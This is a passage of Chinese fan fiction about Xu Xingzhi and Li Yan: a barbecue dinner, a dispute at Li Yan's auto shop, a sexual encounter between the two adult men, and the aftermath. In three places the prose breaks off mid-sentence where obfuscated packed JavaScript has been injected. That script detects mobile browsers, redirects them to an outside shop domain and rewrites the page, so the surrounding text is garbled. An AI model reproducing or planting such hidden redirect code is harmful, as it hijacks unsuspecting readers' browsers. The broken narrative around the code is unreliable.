许行之听这个声音耳熟,眼前的三个人跟被下了指令似的,迅速收了东西往回走,又消失在了门店里,一个穿着紧身黄色背心的人从后面走过来,果然是李炎,这次倒不是牛仔五分裤了,是一条宽松的多袋工装裤,这上紧下松的装扮……衬得李炎的腰,那什么,挺窄。许行之也不清楚,心里打的这个摆楞是什么情况。 “大聪明?”李炎走到许行之面前,许行之还蹲着呢。“起来啊,腿不酸啊?”他又伸了条胳膊到许行之面前。 拉过李炎的手起身的时候,许行之又感慨了一下,看着挺纤细的一人,手劲儿是真大啊,不过拉着的时候还能看到明显的肌肉线条,看来李炎平时也没少锻炼。 “你认识?”坐着的大叔对着李炎说。 “啊,顾飞的朋友。”李炎头朝着大叔那偏了偏,“这我爸。” “叔叔好,我是许行之,刚刚冒犯了。” “叫我老李就行。”李炎他爸点了点头就算打过招呼了,又转过头去问李炎,“你什么时候有这么人模狗样的朋友了?” 人模狗样,好的。许行之皱了皱眉,没说话。 “你别给我犯浑啊,能好好说话就说,不能好好说话就闭嘴。”李炎指着他爸就劈头盖脸地骂上了。 “兔崽子我他妈看你是反了天了,给你能耐的,骂老子,”老李拿起拐杖作势就要杵李炎,嘴里没一句干净的,“他妈天天男不男女不女的 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李炎路过许行之的时候特别淡然地说了句,“走。”都没给许行之反应的时间,就继续朝里走了,许行之也就没说什么,跟着李炎走了。李炎在前面点了一支烟,吸得很深,烟头非常明显地亮了一下,又白又长的脖子上筋都锃了出来,他闷了大概有五秒钟,才朝天喷出了烟雾,许行之觉得吸烟刻肺这四个字在这会儿形象化了。 “你完事了?”李炎回过头问他。 “嗯。” “衣服。”李炎递了个袋子过来,里面装了件藏青色的T恤,许行之眼睛睁了睁,原来他不止有奶黄色的衣服啊。“拿着啊,照着你码买的,新的。” “谢了。”许行之接了过来。 李炎抽着烟,这会已经放慢了脚步,走在许行之边上,“钢厂这片就这么大地方,搞不懂为什么你还留两天,今天回去多好,高铁现在也快。” “调研么,总要看看环境,光靠谈也谈不出什么来。” “啧,真讲究,环境看出什么来了?”李炎没等许行之回复,又补了一句,“晚上吃烧烤,不是征求你意见,我想吃。” “嗯,你昨晚就说要吃烧烤,”许行之清了清嗓子,“钢厂……挺神秘。” 李炎一下就笑出来了,摇了摇头长叹了一声。 看出什么来了,那总不能说,看出来了你们这的人多少都有点儿躁郁倾向,也看出来了你爸对你的装扮上非常不满吧,但能说出那样的话,李炎应该是很早就和家里出柜了,他爸现在还骂得这么顺溜,早些时候应该没少吃苦头。 又是一家挺小的门面,李炎又找了张小桌,这桌子特别矮,两人坐到椅子上的时候,膝盖都超过了桌面,许行之有点不习惯地在椅子上挪了挪,被李炎看见了,“你多高啊?” 这问题如果放在十九岁问他,许行之会带着点儿骄傲地轻飘飘地回答186,但他现在二十九了,也差不多有好多年没人问过他这个问题了,他清了清嗓子,“你觉得我多高?” 李炎特别不耐烦地闭着眼睛鼻子里喷了口气出来,“老子,不是在,跟你,调情。”语气里都听着有火花的动静次次啦啦的,“我只是想确认下,衣服有没有买小。” “我刚看过了,185/104A,能穿。”许行之倒也坦然,就是想笑,想着想着也真的笑了出来,“看来平时调戏你的人不少。” “那肯定,”李炎又挑了支烟叼了起来,侧头眯着眼睛点烟的样子很性感,又向许行之挑了个眉,“我是大漂亮啊。” 5. 第5章 来这家店李炎根本不用看菜单,对着老板说了一堆,每一样后面跟着的数量都是6串8串的,许行之想开口拦一下,但看着他瞪过来的眼睛,话没说出口就给咽下了,李炎也没问许行之意见,直接要了一瓶牛二和两个杯子,自己倒了个满杯,却给许行之倒了三分之一。 “顾飞让我好好招待你,今儿还差点吓着你了,对不住,我自罚一杯。”话音刚落,一整杯酒就哐哐下了肚。 其实和李炎没什么关系,许行之见他这么生猛,自己也不太好扭捏,三分之一杯就也灌了进去,李炎倒是有点儿惊讶,“挺痛快,兄弟。”话说完了又给许行之倒了三分之一。 见李炎正看着自己指甲,大拇指的指甲还在无名指的指甲上来回蹭了几下,皱着眉好像不太舒服的样子。许行之从口袋里掏了掏,从钥匙扣上把指甲钳卸了下来,递了过去,李炎抬眼看了眼指甲钳,又看了眼许行之,没说话,接了过去,咔咔地开始剪。 指甲刚修完,烧烤上来了,足足端上来了两大盆,又是大肉串儿又是蔬菜串儿的,虽然香气四溢,但这量,也太大了,许行之忍不住说道:“顾飞让你好好招待我,是要体现在量上吗?” 李炎开始笑,许行之也跟着笑,俩人看着这两盆烧烤,都觉得这招待得有点儿过了。于是李炎叫了老板过来,分出去了三分之二,和老板说走之前帮忙加热下,他打包带走,老板倒也爽快,又拿了个盆唰唰就给分好了。 可能酒喝多了肉吃饱了脑子就供血不足,说出来的话没什么分寸,李炎在又灌了半杯下去后对许行之说:“你和我一样吧?” 许行之挑了挑眉,他知道李炎在问什么,“嗯?” “兴趣……习惯……”李炎嘴上迅速飞过了几个词,“偏好?” 许行之也喝了一口酒,没有否认,“嗯。” “我就说是,”李炎哎了一大声,又拿起了个串儿,“顾飞那会儿偏说不是,我还和他赌了三局爱消除呢。” 你们是什么钢厂小宝贝吗,赌这个。许行之听着觉得好笑,对他们为什么会起这个赌局有点儿好奇,“蒋丞知道,顾飞不可能不知道,你得反思下顾飞为什么会这么说。” “嗨,”李炎摇了摇头,一巴掌砸在了自己膝盖上,“怕我对你起什么歹心呗,还能为什么。” “你那会儿对我有歹心啊?”不知道为什么,许行之觉得和李炎聊天很放松,他嘴里说的和心里想的一样,都不用去思考哪句话有深意,所以问得也比较随意。 “太歹的没有,”李炎也笑了,向着许行之端起了酒杯,“就光觉得你帅了。” 许行之顺势就和他碰了个杯,喝了一口后点了点头,“啊,那会儿是挺帅,我们系以前有三棵系草,传闻我是最草的那一棵。” “能理解,不夸张,现在搁回去应该也草得飞起。”李炎挑了个烤韭菜放到许行之面前,又挑了个烤馒头放到他的餐盘里,“尝尝,这家店烤韭菜配烤馒头绝了,巴掌往你脸上招呼都不想放。” 这人怎么这么有意思,许行之笑得都开始有点儿抖了,“你那手劲儿,一巴掌呼过来,我还是会放的。” 两人有一搭没一搭地聊着,李炎像想起来什么似的,问许行之,“好几年前吧,我记得你跟犯病似的发了六张差不多一样的照片,怎么回事儿?” 许行之心里叹了一下,不太想说,也不太知道要怎么说,清了清嗓子又闷头喝了口酒,没说话。 “啊,这是心里有事儿啊,来!”李炎又开了一瓶酒,往许行之杯子里倒了半杯,给自己满上了,“都在酒里了!” 许行之也难得放松,痛痛快快地和李炎碰了杯,两人都一口气把杯子里的酒喝了。 这大概是这三年里最轻松的一天了吧,许行之想,不看诊、不看书、不写论文、不做课题、不理数据,就痛痛快快地、明明白白地喝上一顿酒。酒对于许行之来说,不像烟这么难接受,但平日里大多克制,最多小酌个一两杯,能这么敞开怀喝的时候几乎没有,更不用说还有个这么有意思的人和自己一块儿。 留下的三分之一烧烤逐渐见底,许行之和李炎对视着笑,刚还叫嚣着说太多了的人,现在又觉得有些不够,李炎又从那三分之二里挑了拿出来,“哎你怕不怕膻?”李炎问他。 “还行。”许行之脑袋往后收了收,李炎的行事风格还是挺大胆的,他有点担心这人一会儿给自己点个什么特殊部位。 “你那表情,一看就脏得很,我都不用问,”李炎睨着眼看许行之,笑着抽了个羊腰子出来,递过去,“羊腰子,不是别的,补精气神儿的。” 许行之接了过来,先凑到鼻子这闻了闻,嗯,不太膻,还挺香,咬了一口下去,烤得还挺嫩,孜然放得也恰到好处,有效遮盖了剩余的膻味儿,再顺一口酒,舒坦。 “主要还是补肾。”李炎冷不丁地冒了一句出来。 这口酒就卡在了嗓子眼里,上下不得,呛咳得许行之整张脸都红了,李炎在对面笑得没心没肺的,一边抖着手一边给许行之拿纸巾。 “哎我操,你真行。”许行之都不知道说他什么好。 “你会骂人啊?”李炎的胳膊撑在膝盖上,手撑着头直愣愣地看着李炎,“我以为你多干净呢。” “骂人就不干净了?”镇定下来的许行之推了下有点儿掉下来的眼镜,也朝着李炎看,“我看你也干净得很。” 不知道为什么,这会儿谁都没挪开眼睛,连眨眼的次数都很少。 李炎的手机响了,他接了起来,“喂?什么!!?我现在就回来!等我回来再说,谁他妈都别动!” “许行之,不好意思啊,我要回一趟店里,账我已经结过了,你再自己吃会儿喝会儿啊。”之后几句李炎是边往外走边说的,话说完了人也出了烧烤店了。 看他那个样子,好像是有什么冲突,左思右想许行之心里还是有点放不下,看到自己旁边椅子上放着的那新买的T恤的衣服袋,更有点坐不住了,让老板打包了旁边没动过的烤串儿,拎着就朝李炎的汽修店的方向走。 这会儿还算不上太晚,周边的门面大多数都还没关门,倒是马路上多了很多桌椅,夜排档出来了这是,喝酒的唠嗑的划拳的,到处此起彼伏着,眼瞧着能看见红火汽修汽配的门头了,那边传来了一大声玻璃瓶敲碎的声音,许行之快步走了过去,看见有个光着膀子的男人手上拿着半截啤酒瓶,脖子上戴着大金链子。 “大漂亮,不是哥为难你,这好轮胎不能老往你一家送,那我的兄弟们吃什么喝什么?” 汽修店的灯全部都打开了,白得晃眼睛,李炎站在店门口整个人都逆光,就脑袋这有个红色的火星子一明一暗的,又抽上烟了这是,许行之想,其实李炎整个人看着挺单薄的,是有一点女气,但身上的这股痞劲更强烈,只见李炎从逆光里走出来,一头黄毛此刻颜色更淡了点,到那个男人面前停下,“老哥,你跟我说不着,你得和送轮胎的说。” “送轮胎的说你吃不饱,”光膀子的男人嘴里说的话带着腻,眼神里带着下流,“他说,你都要啊。” 李炎胸口起伏了一下,眯着眼睛又抽了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊,我不急。” 许行之打量着店里,工具和台面都很整洁,平时一定挺注意的,至少应该收拾得挺勤快,又看向了李炎,他平躺在车底下,手里拿的不知道是什么工具,向上举着在车底下发出叮叮的声音,腿就这么弓着朝外面岔开,还是那双黑白格的板鞋,露出的脚脖子……真白啊。 这动作……许行之皱了皱眉。 不知道过了多久,许行之记不清了,好像也只是过了一会而已,李炎从车底下又滑了出来,他说:“帮个忙,拉我起来。” 许行之就走到车边,弯下腰对李炎伸出了一只手,李炎握住了,许行之又往上一拽。 坏了,拽大劲儿了。 李炎冲着自己就过来了,许行之只好用另一只手把住了他的腰,两人都踉跄了一步,但幸好,没倒,就是李炎靠在了自己身上罢了。李炎脑袋往后退的时候许行之放在人腰上的手还没拿下来,两人就这么对视着。 李炎的身上有一层薄汗,他脸颊上的头发丝有些成了缕贴在额角,许行之几乎能感受到他脖颈上的心跳,他没被背心盖住的肩窝那边蹭上了机油,这个距离的气味和颜色都是刺激。 两人还握着的手都开始发烫,李炎看到许行之的喉结上下滚动了一下。 头顶上的白炽灯突然爆亮,然后嘣——的一声,全灭了。 黑了,暗了,夜了,疯了。 李炎轻声骂了句“操”,下一刻许行之就吻了过来。 6. 第6章 扶着李炎后腰的手把他的背心往上掀开了,手贴上皮肤的那一瞬间许行之的头皮一麻,李炎嘴里跟着含糊不清地又漏了句脏话,他腰窄得几乎一巴掌就能箍住,滑腻的触感说不准到底是许行之掌心的汗,还是李炎腰上本来就有的,许行之是等李炎的双手环住他脖子的时候才发起攻势的,许行之的眼镜太碍事了,李炎顺手就扯了下来,两人越吻越深,像个桨片一样在里头旋摆,啃上他下颚骨的时候李炎轻声吸了一口气,无论如何这会都停不下来了。 刚刚那一拽是许行之往后踉跄的,这会却是他推着李炎往后退的,在磕着车前防撞条的时候李炎又骂了句操,拽着许行之的衣领往后仰了过去,直接躺在了引擎盖上,许行之就这么盖在了李炎身上,吻停了,头也分开了,这会两个人动作都止住了,眼睛已经适应了黑暗,从卷帘门两边透进来的一点点光亮都落到了两个人对视的眼睛里,许行之咽了一口唾沫,胸口起伏不定,鼻息有点乱,像是在清醒与堕落之间挣扎。 李炎觉得覆在自己身上的这个人滚烫,不管是不是酒喝多了,他知道许行之从吻他的那一刻起就上头了,火从唇里、从手里烧过来,烫得自己的神经末梢都蜷缩了起来,烫得他发疼,烫得他的手只能用力拉着拽着,感受到许行之的一只手垫在自己的后脑勺和引擎盖之间的时候,李炎脑子里的最后一根弦绷断了,拽着许行之领口的手没有松,自己抬头往上一送,叼着许行之的唇往下拉,直到两个人严丝合缝地贴在一起。 衣服摩挲的声音都闷闷的,只有几声金属扣的声音特别明显,李炎的鞋都没脱,工装裤只套了一条裤腿,许行之把他的腿折起来的时候觉得自己疯了,但这念头刚冒出来就被李炎的手摁了下去,嘴上的吻没有停,两个人的手也没有停。许行之只记得李炎受不了的时候一把把自己从身前推开了,仰着脖子呜咽着,这个动作里没有拒绝,他只是怕弄脏自己。后来李炎是怎么把自己摁在引擎盖上的,又是怎么伏下身帮自己的,许行之记不清了,他只记得自己好像蒸了一场巨热的桑拿,无论怎么大口呼吸都汲不到多少氧气。 许行之醒过来的时候汽修店里亮了一盏白色的台灯,李炎坐在桌前的椅子上,两条腿交叉翘在桌面,一只手在玩爱消除,另一只手里夹了一根烟,爱消除的声音很小,时不时叫一声,李炎手上的烟却很久没想起来抽,烟灰条变长变松,可他的手指却仿佛意识得到一样,弹了一下,落在了地上。 地上除了烟灰,还有七八团纸巾,垃圾桶就在沙发边上,刚刚却谁都没想起来收拾,许行之动了动,看了眼表,1:47,不知道是折腾得久还是睡得久,他看到李炎的脑袋往后偏了偏,却没有转过头来。许行之站起来提了裤子,又弯下腰把散落在地上的纸巾挨个捡起来又挨个扔进垃圾桶里,李炎始终没有回过头,许行之也有点想逃。 是尴尬吗?他问自己。 是尴尬吧,他又回答。 还是,不知道该怎么办? 一个要招待自己的人,结果把自己也算进了招待里。 先不提了吧,就先这样吧。 “那个,”许行之开了口才发现自己嗓子有点哑,他清了清嗓子,“回去吗?”到嘴边的我先走了,许行之到底没说出口。 “你走吧。”可李炎好像听到了许行之原本想说的话。 许行之背上了包,想了想还是把李炎给自己买的T恤带上了,他对着李炎的背影说:“T恤我带走了。” “嗯。”李炎没回头,在烟即将燃尽的时候,终于想起来吸了一口。 第二天退房的时候,许行之发现房费已经结过了,来的时候是大太阳的天,这会的云却压得很低,服务台的工作人员问自己要不要顺一把伞,许行之说不用,他还是穿着昨天那件衣服,李炎给自己的那间藏青色的T恤,他没有穿,甚至拆都没有拆,就这么放在包里。 直到上了高铁的时候,雨才下了下来,许行之这次的位置靠窗,雨水顺着减速玻璃往下滑的时候月台上的柱子都扭曲了,在提醒列车还有三分钟开车的时候,许行之拿出了手机,找到了大漂亮的对话框,开始打字,打两个字删一个字,打一行字又全删,最后发过去的就只有寥寥两个字“走了”,李炎回复的速度还是很快,和他那些端午中秋新年短信一样,平平无奇的四个字,“一路顺风”。 收消息的人和发消息的人同时叹了一口气,叹息都埋进了雨里。 李炎难得亲自洗车,打上泡沫又冲掉,拿抹布抹干的时候他觉得这个车主也挺倒霉的,刚来洗车就下雨了,可看见自己店里挂着的下雨天洗车五折,他又觉得这个车主是懂日子的。收洗车钱的时候这车主的昵称闪了自己一下,“玄幻的龙”,龙没什么,玄幻俩字倒是扎了自己一下,他想起来许多年前,顾飞拿许行之试探自己,自己回他的那句话,“上床可以,谈别的太玄幻。” 一语成谶,真他妈上了个半床,也真他妈谈不了别的。 烦得他直摸烟,后头却传来了老头子的咳嗽声,“昨晚没回家上哪儿浪了又?” “修车,”李炎烟也不找了,语气里透着不耐烦,“你不是说人今天来拿车么?” “臭小子,和那个人模狗样的许行之搞到一起去了吧?”老李的脸上露了个意味深长的表情。 “我操,老头子你没别的话说了是吧?搞个屁搞!”李炎用力拍了拍昨天躺着的那辆车,“给你一晚上你能修好,我他妈喊你爹!” “你本来就喊我爹,”老李拄着拐杖坐到了工作桌前,翻了翻账本,“自从你十六岁告诉我你喜欢男人起,骂也骂了,揍也揍了,没用,你照样喜欢留长发练那个腰,你扪心自问,这几年你爹我再碍过你事没?” 李炎没说话,手撑着引擎盖,也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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回到家后,李炎冲了把澡就把自己扔进了床里,又靠着床头坐着。这么多年,自己也不是没有谈过,却没有几次是和平收场的,玩票的、消遣的不算,耗费了感情的几段自己都是被辜负的那个,最久的那个处了两年,称自己是个艺术家,结果供他吃住还拿钱支持他的梦想,那人一句“等我出名了我就告诉全世界你是我的”,当时觉得震耳欲聋,回头想想真是可笑至极。 怎么分手的来着?李炎回忆着,噢,想起来了,艺术家接了个电话,被他听见了。艺术家对对着电话一脸得意,“有什么的,他可爱死我了,跟我上|床,给我钱花,到时候再上演一场绝恋,就说我妈非得让我找个女……”后面的话李炎实在觉得恶心,他就记得那天他把艺术家揍得鼻青脸肿的,连人带东西一起扔了出去。 李炎像是想起来了什么,一下从床上跳了下去,都没穿拖鞋,快步走到阳台里把洗衣机摁了暂停,掏出了湿漉漉的裤子,在口袋里摸索,来回探了探,找到了,许行之给他的指甲钳。他又把裤子放了回去,继续让洗衣机滚了起来。 拿了纸巾仔细把指甲钳擦干了,李炎打开了床头的抽屉,他看见了瓶已经过期的润滑,自嘲地笑了一下,把指甲钳妥善贴着边放好了,又把那瓶过期了的东西拿了出来,手腕一甩,直接扔到了垃圾桶里。 昨晚喝了不少酒,又差点和人干了一架,的确后来也和人干了另一种架,一直到现在都没合过眼,熬了整整一天一夜,李炎觉得脑袋瓜都紧绷绷的,打了个哈欠窝上了床,肯定还是睡得太少了,不然怎么老做白日梦,他想。 7. 第7章 睡着后李炎做了个梦,梦里的他回到了十六岁,那会儿他读高一,清醒地认识到自己对女生并没有那种青春期应该发生的好感,反而看到帅气的男生才会有一些冲动,最先让他体会到这种冲动的是和他顺路回家的班长,其实对他并没有什么感觉,而是一种接近本能地想要靠近,他甚至有一些羡慕班长的前桌,每当看到前桌的辫子甩到班长的铅笔盒上,班长就会不厌其烦地用手挑开,一次又一次。梦里班长的手白净、修长,骨节并不明显,指甲修剪得很干净,他挑起前桌辫子的时候,还能看到手背上的细骨……不知道什么时候前桌长发的颜色呈现出了自己的发色,带一点茶色的黄,挑头发的手指好像昨天才见过,就是那只手扣着自己的后脑,让自己慢慢靠近……再靠近……许行之的脸不知道什么时候钻进了梦里,给李炎惊出了一身汗。 睁开眼睛大口喘着气,李炎看了一眼时间已经快到傍晚了,感觉这个梦做了好久,也做得疲惫不堪,李炎的嗓子冒着烟,太渴了,应该是昨天喝酒喝的,也有可能是上火,他下了床还是没有穿拖鞋,走到桌边给自己到了一杯水,顺下肚后才觉得好受了些。许行之是中午走的,这会儿,应该已经到了吧。想完了这句,他又吓了一跳,想他做什么,有病,就顺手给刘帆打了个电话,问他出不出来吃饭,刘帆说刚失恋,要平复一下情绪,在家宅一天,李炎没忍住笑了他一通,多大人了,还玩纯情。 出门前李炎在找自己的皮筋头绳,刚还记得放床头柜上的怎么没了,拉开了抽屉又翻腾了几下,才看到皮筋掉落在床头柜和床缝之间了,眼睛却又看到许行之给自己的指甲钳,也看到了旁边的剪刀,这是当时自己二十来岁时爱干的事儿,帮人剪头发、做造型,推子梳子什么的这会儿都找不到了,就剩了这把精钢剪,李炎没舍得扔,最后还是留下了。 晚饭最终还是和汽修店的三个伙计一起吃的,李炎特意去顾飞他妈男朋友刘立的店那买的菜,本来想要两瓶酒,想想算了,最后还是要了一大瓶可乐,顾飞他妈逗他问转性了啊,李炎摆了摆手笑说晚上还要干活儿呢,得留点脑子,这几天过的,不知道是脑子动空了,还是一点脑子没动。 一直到这天晚上过去,李炎看了许多遍手机,他也不知道自己在想什么,或者期待什么,或者只是想要一个普通的“我到了”也好,许行之终究没有联系自己,李炎看了看两人的聊天记录,看到自己之前群发的那些消息,都觉得自己好笑,叹了口气又看了眼日历,最近好像没什么节日,总不见得和人说夏天快乐吧,嗨,自己是什么纯情小男生吗,不就是擦枪走火了一下,怎么还过心了呢。再次倒在床上的时候,李炎对自己说,多听老人言,别老想些有的没的。 接下来的一个星期,许行之也回归了自己原本的生活轨迹,看诊、看文献、看数据、喂猫,就是多了一项夜跑,上一次赶高铁的记忆实在太深刻,还有就是……把夜里这种挥散不去的乱七八糟的心思都抛到脑后,其实他都没确定自己心里到底是怎么想的,但看李炎的意思,应该是一次“意外”,当天晚上他没回头,第二天又给自己发一路顺风,还有……这一个星期下来没有任何动静的大漂亮对话框。 夏季的暴雨说来就来,这天许行之下午没门诊,去导师那过钢厂工会给自己发的初步数据,完事后出了校门雨唰地一下就下了下来,他只感叹身边幸好没带什么要紧东西,迅速拦了一辆出租车就坐了进去,但衣服还是不可避免地湿了,回到家后发现昨天的洗衣机没开,换不了平时在家穿的那件白T,只好到衣柜里再找一件,刚打开衣柜门,一个衣服袋子就掉了出来。 是李炎给自己买的那件藏青色的T恤。 许行之一直没打开,他拿起来其实是想放回去的,但肥牛不知道从哪儿听到了开衣柜的门,一个劲儿想往里钻,许行之不得不用腿别着它,又迅速把衣柜门关掉,一手抱起了猫,一手拎着衣服袋子,光着上身坐到了沙发上,衣服袋子就放在了自己腿边,许行之一开始没管那衣服,而是拿起了逗猫棒来回逗着肥牛,可眼睛总是忍不住往这衣服上瞟。 还是看看吧,他想。 拆开袋子拿出衣服的时候许行之有点意外,没有吊牌,而且也没有新衣服的浆水味,倒是有一股柔顺剂的清香,他怕自己闻错了,拿起衣服放到鼻子下面闻了闻,的确有,难道李炎给自己买了衣服之后,还洗过了?真的假的。不过这也倒像李炎干得出的事,大漂亮不是说,人到了他手里,他就得给人安排好么,想到这里许行之笑了笑,这大漂亮,不知道到底是假聪明还是真傻。 抖了抖衣服,许行之往身上一套,嗯……虽然说能穿吧,但没有那种宽松感,有些贴身,许行之走到洗手间里看了眼自己,又对着镜子比了个肱二头肌,看着镜子里自己这个傻样,他觉得自己也挺有病的。 如果是190的话,就更好了吧,许行之想,但怎么可能什么事儿都正好呢。 回到客厅的时候,看到肥羊和毛肚又在掏那个衣服袋子,被扒拉到了地上,碰出了一声脆响,嗯?是什么,难道除了衣服还有别的东西?许行之走过去拿起了袋子,才发现在袋子的最下面,有一颗棒棒糖,许行之的眼睛睁了睁,这……是什么暗示吗? 终于还是拿起了手机,大开了大漂亮的对话框,上面的最后一句话是“一路顺风”,许行之想了很久,回复了一条过去,这次没有犹豫,打完了字就发出去了。 知:棒棒糖收到,谢谢。 在许行之发出去的十几秒后,就收到了李炎的回复,许行之想,他一定在玩弱智爱消除,不然怎么可能回那么快。 大漂亮:什么棒棒糖? 知:衣服袋子里的。 大漂亮:哦,不小心掉进去的吧 这下轮到许行之尴尬了,不小心掉进去的,这得多不小心,才会有一根棒棒糖,掉进了衣服的袋子最深处。刚提起来的一些气又泄了下去,可能放棒棒糖的时候,和那一晚,都是短暂的“不小心”,而清醒才是长久的。许行之刚想息屏,手机又弹了一条消息出来。 大漂亮:扔了吧,天热,应该化了 知:好的。 虽然回复得很干脆,但许行之到底也没有把棒棒糖扔掉,而是放到了冰箱的冷冻层里,之前忘了是谁教他的,糖化了再放到冷冻里,就能恢复到原来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338558|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬度,撕糖纸的时候也不会太费劲,李炎没再给自己回复了,许行之看向了窗外,雨还没停还带着闪电,今晚的夜跑看来也泡汤了。 许行之突然有些好奇李炎的朋友圈,从来也没和他聊过什么,朋友圈也没看过,他和李炎就好像是这个世界的两个相交而过的线,出发点方向目的都不一样,遇见的那一刻就意味着分开。打开来看,却枯燥得很,李炎的朋友圈没有设时间限制,可大多都是洗车修车的排期,几乎没有什么私人情感,只有偶尔的几张天空,有云的,没有云的,在上下都是汽修的公告里嵌着。 许行之承认,李炎让他觉得……很带感,不仅仅是刺激,而是他有一种自己从来没有过的洒脱,一种勇于直视阳光的勇气。但他不确定的是,自己的这种情绪,到底是来自于自己本身的羡慕,还是夹杂着什么特殊的感情,他需要一点时间,而且……李炎和自己,可能么,可以么?年纪一往上走,人就会考虑很多。 后来某天中午午休的时候,顾飞给许行之打电话,说是来关心一下上次去钢厂的事儿顺不顺利,问的问题也都是钢厂那片怎么样了,怎么会课题做到那儿去了,许行之简单说了下情况,又侧重夸了一下李炎的周到。 顾飞才说笑着道:“李炎啊,你别看他平日里神气,其实就那张嘴硬。” 许行之嗯了一声之后觉得有哪儿不对劲,好像他不止嘴硬,吧。 “许学长,如果李炎有哪里说得不太对头的地方,你别往心里去,他大多都不是有心的,就是管不住他那张嘴。” “嗯?他没说什么,”许行之顿了一下,还是说了出来,“他还会修车,我挺惊讶的。” “啊,”顾飞的声音沉了下去,“李炎他……这是他的家事,我不太好说,以后有机会的话,你自己问他吧。” “没事儿,我也只是随便提一嘴。”许行之答道。 电话里传来了一些顾飞的笑声,“以后有机会的话,还可以让他给你理发。” “他还会理发呢?那手劲儿,能把我薅秃吧。” “随便去个店,总监级别的没什么问题。” “嗯,那看吧。” 挂了电话后又去了趟三楼的平台,心里却在猜想李炎家里可能发生过的事,老李少了一条腿,李炎的妈妈呢?许行之心里一惊,不会如自己想的那样吧。其实按照李炎的形象和性格,不像是找不到伴的人,难道真的受过什么创伤?想着想着许行之用力把眼睛用力闭上了,李炎李炎李炎,从钢厂回来后,脑子好像不受控制一样在想他,他弄不清这是想念,还是一种陌生感与紧贴感造成的落差,才会对李炎产生的特殊的、强烈的窥探心,如果俩人真的熟透了,他或许就不会想这么多了,问问他吧,闲聊一下?先从熟悉开始吧,至少得把自己心里这道对他的坎儿捋平了,不然总感觉,意外发生的这件事,在心里过不去了。 许行之在此刻庆幸是个医生,至少在面对心里头的疑问,他有些方法论可以用。 知:上次谢谢招待,什么时候也来这逛一下? 大漂亮:不客气,没空 得,许医生的方法论变成了灰。 8. 第8章 再次见到李炎,已经是一个月后了。 潘智和肖老板最终放弃了斗智斗勇、人海浮沉,偷偷扯了证,秉持酷姐人设的肖老板,以及肖老板死忠粉的潘智决定还是不大肆举办婚礼了,就分别请亲朋好友们吃个饭官宣一下,许行之作为爷爷这边的VIP被邀请,而李炎则作为了姥爷这边的亲友被邀请。 婚礼请的是晚饭,挑了个周六晚上,许行之下午参加了导师的组会,耽误了半小时才到,推开包房门的时候所有人都盯着他看,但他一眼就看到了坐得离门最近的李炎,只多看了一眼,就立刻走到了潘智和肖老板边上,递上了自己准备的礼物,是一套定制的艺术家联名茶具。 “许医生太客气了啊,”潘智接过来后笑着说,“包红包就行了怎么还送上礼了。” 肖老板也和潘智一道开起玩笑,“你少说两句,等着许医生把礼物也拿回去了。” 之前就听说这两人从谈恋爱开始就喜欢斗嘴,一路闹闹笑笑的,许行之也笑着回应,“红包也有,但这不是得等新人敬酒的时候才给么?” “看看,我说什么来着,”潘智一边招呼着许行之坐下一边说,“刚谁还说许医生的红包好骗,这明显流程拿捏得很清楚么。” “你以为谁都跟李炎似的这么实在,”蒋丞说了句,“到这来二话不说,先把红包给你。” “那我,”潘智又朝着李炎抬了下头,“是不是也很自觉,先干为敬了?” 李炎也顺势对潘智抬了抬下巴,意思是到位了。 “行啦,你赶紧回来,”肖老板发话了,“让许医生消停会儿,聒噪。” “哎哎,我的我的,大胖媳妇儿我来了。” “潘智你别找不痛快啊!”肖老板作势要发作,被潘智揽了回去,小狗脸小狗眼地看着,又笑着坐了下去。 总共就一个十人大桌,肖老板旁边是赵劲、赵柯女神张丹彤、赵柯和许行之,潘智旁边是蒋丞、顾淼、顾飞和李炎……这位子这么一排,许行之就和李炎坐在了一起。 许行之坐下后先和顾淼打了招呼,对着她招了招手,“顾淼,你好,还记得我吗?” 顾淼盯着许行之的脸看了十秒左右,点了点头,说了句,“好。” “真不错,你想起我的时候,就让你哥哥给我打电话,好不好?” 这句话有点长,许行之也没有故意放慢语速,顾淼又愣了差不多十几秒,才点了点头,许行之就对她笑了笑没再说别的,他也不用特意向顾飞说明,其实蒋丞顾飞这俩小子,在上大学的时候就看了不少心理学的书了,顾淼有没有进步,这哥俩心里一清二楚。 接着他就对着李炎点了点头,李炎也对他点了点头,然后两人各自喝了一口。 潘智拿酒杯底磕了磕玻璃转台,清了清嗓子,大家手里的动作就都停了下来,只有顾淼还在吸溜海带,潘智耐心地等顾淼嘴里的咽下去了,才站起来开始说话。 “那什么,本来也是请了九日的,但易静刚怀孕不适合奔波,俩人就没来,”潘智拿起了酒杯,又清了清嗓子,“我们人到齐了哈,作为今天的主题,不是,主题之一,我简单说两句。” 话里虽然透着不正经,但他伸向肖老板的手十分坚定,两手相握的时候,肖老板也跟着站了起来,一起端起了酒杯。 “欢迎大家来参加肖磐和我的婚礼,”潘智握着肖老板的手紧了紧,拿着酒杯的手却有点颤抖,“这一路过来,挺不容易的,为伊消得人憔悴的滋味也尝了,但所幸最后抱得美人归了,我们这一路的打打闹闹哭哭笑笑,承蒙大家关照了,今后,”潘智空咽了一口,转头看向了肖老板,声音也跟着抖了起来,“今后我们俩将走向新阶段,我在此,在各位亲友面前,向肖磐承诺,不论未来是贫穷还是富有、健康还是疾病,我爱你如初,照顾你、守护你,一生一世。” 